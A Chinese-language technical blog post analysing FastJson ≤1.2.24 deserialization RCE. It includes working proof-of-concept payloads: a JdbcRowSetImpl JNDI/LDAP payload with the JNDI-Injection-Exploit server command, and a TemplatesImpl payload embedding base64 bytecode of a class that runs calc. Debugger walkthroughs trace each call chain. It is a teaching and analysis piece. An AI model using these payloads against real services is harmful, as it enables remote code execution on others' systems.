【技术分享】FastJson<=1.2.24RCE双链详细分析
最近在学习FastJson,阿里这个开源的JSON解析库,了解到他被频繁爆出漏洞,于是我做了详细的fastjson漏洞史分析。本文只涉及<1.2.25版本的RCE的两种利用方式,后续会补充其他漏洞。
0x01 FastJson简单使用
序列化是把java对象转为json字符串,反序列化即为把json字符串转为java对象,这样就方便进行传输或者存储。之前有人对比过java序列化、fastjson和jackson等序列化反序列化的速度,fastjson快的同时也带来一些安全问题。写一个简单的例子演示一下反序列化的使用。
//fastjson.javapackage test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class fastjson {public static void main(String args[]){ String obj = "{\"@type\":\"test.Student\",\"name\":\"zzZ\",\"age\":111}"; Student obj1 = JSON.parseObject(obj, Student.class, Feature.SupportNonPublicField); System.out.println("name:"+obj1.getName()+"age:"+obj1.getAge()); }}----输-出-name:zzZage:111//Student.javapackage test;public class Student {public String name;private int age;public String getName() {return name; }public void setName(String name) {this.name = name; }public int getAge() {return age; }public void setAge(int age) {this.age = age; }}
0x02 漏洞由来
fastjson的漏洞主要都是因为AutoType造成的,后续的修复和其他版本的绕过都围绕此来进行。
fastjson在进行序列化时会扫描目标的get方法,并将字段的值序列化到JSON字符串中。而当一个类中包含了一个接口(或抽象类)的时,在使用fastjson进行序列化的时候,会将其子类型抹去,只保留接口(或抽象类)的类型,这就导致及逆行反序列化时无法得到原始的类型。为了解决这个问题,fastjson在JSON字符串中添加了@type标识(AutoType功能),标注了类对应的原始类型,也就可以在反序列化的时候可以找到具体类型。
在1.2.25之前,AutoType是默认开启,而且没有任何防护,我们只需要传入一个恶意类,配合java反射机制和rmi或者ldap服务就可以实现RCE。在1.2.25中修复,添加了checkAutotype,被绕过后又不断丰富黑白名单直到今天。我们详细一点点分析。
0x03 两条调用链分析
利用JdbcRowSetImpl类进行RCE
一、环境搭建
使用IDEA和JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(用来搭建rmi和ldap服务)。
新建maven项目后添加1.2.23版本fastjson的依赖,之后添加com.fj.learnFJ.java。
package com.fj; import com.alibaba.fastjson.JSON; public class learnFJ {public static void main(String args[]){String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +" \"autoCommit\":true}";JSON.parse(payload); }}
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建服务。
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
二、调用分析
首先在JSON.parse(payload)下断点后运行
跟进后调用parse.parse来解析
因为是左大括号{,所以跳转到case LBRACE执行,并在1327行调用parseObject()反序列化
进入获取内容的for循环,并获得payload中第一个字符’”‘
获取引号后,获取其内容@type
之后进行第二个值的获取,得到类名
将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的类
之后fastjson会在内部处理jdbcrowsetimpl类。我们在JdbcRowSetImpl类setDataSourceName()处下断点,因为传入了DataSourceName,所以会进行调用
之后调用抽象父类BaseRowSet的setDataSourceName给dataSource赋值
之后会调用setAutoCommit(),其中调用了connect(),跟进
connect()中调用了look(),这里的getDataSourceName()就是我们传入的dataSourceName,跟进look看看
调用了getURLOrDefaultInitCtx(name).lookup(),跟进
在getURLOrDefaultInitCtx()内,调用getURLContext()请求ldap服务
之后通过getURLObject()从远程的ldap服务获取Context对象
在getURLObject()内调用factory.getObjectInstance(),完成反序列化,调用了payload
完整调用链:
利用TemplatesImpl类进行RCE
一、环境搭建
我们使用IDEA搭建即可。
添加maven依赖后,添加Poc.java
//Poc.java package com.fj; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.maven.surefire.shade.booter.org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException; public class Poc {public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream();try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } String result = Base64.encodeBase64String(bos.toByteArray()); return result; } public static void poc() { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator");String path = "C:\\Users\\xxx\\Desktop\\code\\evil.class";String code = readClass(path); final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + CLASS +"\",\"_bytecodes\":[\""+code+"\"]," +"'_name':'a.b'," +"'_tfactory':{ }," +"\"_outputProperties\":{ }}"; System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } public static void main(String args[]) { poc(); }}
添加evil.java,并用javac编译为evil.class。
//evil.java package com.fj; import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException; public class evil extends AbstractTranslet{public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { }public evil() throws IOException { Runtime.getRuntime().exec("calc"); }public static void main(String[] args) throws IOException { evil obj = new evil(); }}
运行后弹出计算器。
二、调用分析
对于TemplatesImpl的payload,在高版本java中要开启Feature.SupportNonPublicField才能对非共有属性的反序列化处理,因此存在一定限制,而之前第一种方法中JdbcRowSetImpl利用几乎无限制。接下来简单分析下TemplatesImpl链的调用。
在parseObject()下断点后调式
跟第一种一样进入deserializer.deserialze() 进行反序列化
之后进入parseField()对json字符串中的一些key值进行匹配
在parseField()中调用smartMatch()对key值进行处理
之后进入fieldDeserializer.parseField()
在fieldDeserializer.parseField()中调用了setValue(),跟进
setValue()中method内方法为getOutputProperties(),并在后面通过反射机制调用,进入TemplatesImpl类
getOutputProperties()内调用newTransformer()会创建Transformer实例,我们跟进
在内部会调用getTransletInstance()创建实例之后返回给上层函数,我们跟进
在getTransletInstance()内,调用defineTransletClasses()遍历_bytecodes数组(判断是byte[]数组会自动base64解码,所以poc里需要进行base64编码),之后调用(AbstractTranslet) _class[_transletIndex].newInstance()实例化类,类定义的是静态方法,执行触发payload
0x04 结语
上面详细跟踪了两条链的利用方式,相信对于 <1.2.25漏洞的利用已经非常清楚了。
这次的漏洞修复方式是默认关闭AutoType的支持,添加了checkAutotype来判断是否符合要求,并添加了白名单和黑名单来防护AutoType是开启的情况。在之后又出现了各种绕过的姿势,下篇文章继续分析。
